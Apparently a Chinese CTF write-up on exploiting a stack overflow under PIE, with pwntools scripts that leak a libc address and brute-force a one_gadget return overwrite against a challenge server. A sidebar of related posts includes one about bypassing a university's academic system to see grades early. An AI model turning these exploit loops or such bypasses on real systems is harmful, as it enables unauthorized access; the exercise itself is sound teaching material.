当前位置:首页 > DayDayUp > 正文内容

[栈溢出]PIE保护下onegadget提权与libc地址爆破

Luz3年前 (2020-03-16)DayDayUp2644

image.png

image.png

题目只给了一次输入机会 

栈溢出点在136位之后

之后有个puts函数可以泄露一点栈上的东西

在本地调试

image.png

溢出返回位于libc领空


本地调试使用的libc与服务器不一样

查看本地libc 中__libc_start_main+235 是什么东西

image.png

是__libc_start_main+235函数的后部 退出函数


泄露一下远程服务器的返回地址

#coding:utf-8
from pwn import *
#context.log_level = 'debug' 
p=remote("nc.eonew.cn",10004)
p.sendline('a'*136)
p.recv(136)
addr=u64(p.recv().ljust(8,'\x00'))
print hex(addr)
p.interactive()


image.png

结尾是b97的libc地址

查看题目所给的libc,结合本地调试经验,从__libc_start_main函数下手

image.png

也是这几句指令

同样在libc上

由于程序开启PIE,且只有一次输入机会,我们没有机会劫持控制流进行代码复用

找了几个onegadget尝试爆破

one_gadget_addr=0x10a38c
one2=0x4f2c5
one3=0x4f322

三个onegadget选择一个

只有后三位是确定的,而前几位只能爆破

#coding:utf-8
from pwn import *
vsyscall=0xffffffffff600000
#context.log_level = 'debug' 
i=1
while(1):
	one_gadget_addr=0x10a38c
	one2=0x4f2c5
	one3=0x4f322
	libc_base=-0x4f440
	#p=process("/root/桌面/./easy_stack")
	p=remote("nc.eonew.cn",10004)
	#attach(p,"b puts")
	#p.sendline('a'*136+'\xb0\x1a')
	p.sendline('a'*136+'\xc5\xf2\x14')
	#p.sendline('a'*136+'\x22\xf3\x04')
	#p.sendline('a'*136+'\x8c\xa3\x10')
	#p.sendline('a'*136+'\xd0\x1a')
	#print 'a'*126
	#attach(p,"b puts")
	p.recv(136)
	addr=u64(p.recv().ljust(8,'\x00'))
	print hex(addr)+'  '+str(i)
	i=i+1
	try:	
		p.recv(timeout=1)
		p.recv(timeout=1)
	except EOFError:
		p.close()
		continue
	#p.close()
	p.interactive()


需要爆破三位十六进制数组,由于服务器每次都会变,脚本干脆不变了,爆破失败程序会退出,当recv()触发EOFerror时认为爆破失败,继续下一轮

最大爆破次数为16^3=4096次


398次爆破成功

image.png



相关文章

AWD赛后总结与反思

AWD赛后总结与反思

大概有半年多没有打过网络安全的竞赛了,最近被拉去打了国赛,当然是纯被打的角色,从前打的都是CTF,AWD的赛制、规则、注意点都与之有天壤之别。不出意料没拿到什么奖,总结了一下国赛AWD的经验,自己还是小白,所以请大佬绕道。一、赛前查的资料赛...

湖州师范学院期末考试成绩提前查询(教务系统绕过)

湖州师范学院期末考试成绩提前查询(教务系统绕过)

20220501更新教务系统已换新,新版查询方法见:https://hyluz.cn/?id=65522新版查询接口:http://cjcx.hyluz.cn/下文方法已不可用登录登录教务系统  (学校教务系统均可/default...

软件著作权申请流程(软著申请流程详解)

软件著作权申请流程(软著申请流程详解)

以前都是找第三方代办,最近发现软著不用手续费了,自己付个快递钱就能申请了,被打回来也没什么损失,记录一下流程。账号注册在中国版权保护中心注册账号官网:http://www.ccopyright.com.cn/注册页面链接:https://r...

删除Halo桌面卸载后残余的halodesktop文件夹

删除Halo桌面卸载后残余的halodesktop文件夹

现象:残留Halo桌面写在后在 C:\Program Files (x86) 残留目录HaloDesktop其中存在HaloSvc.dll文件被Desktop Arrangement Helper Service使用,导致整个文件夹无法删除...

linux 常用tcpdump 抓包命令

默认抓包(抓取网络接口1上的所有数据包)tcpdump指定网卡(eth1:网卡名)tcpdump -i eth1指定主机(name:主机名,1.1.1.1:主机ip,抓取进入/离开指定主机的包;src:发送,dst:接收...

nginx反向代理配置

server{    listen 80;    //监听端口    host 1.1.1.1;    //监听地址location /{  &nbs...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。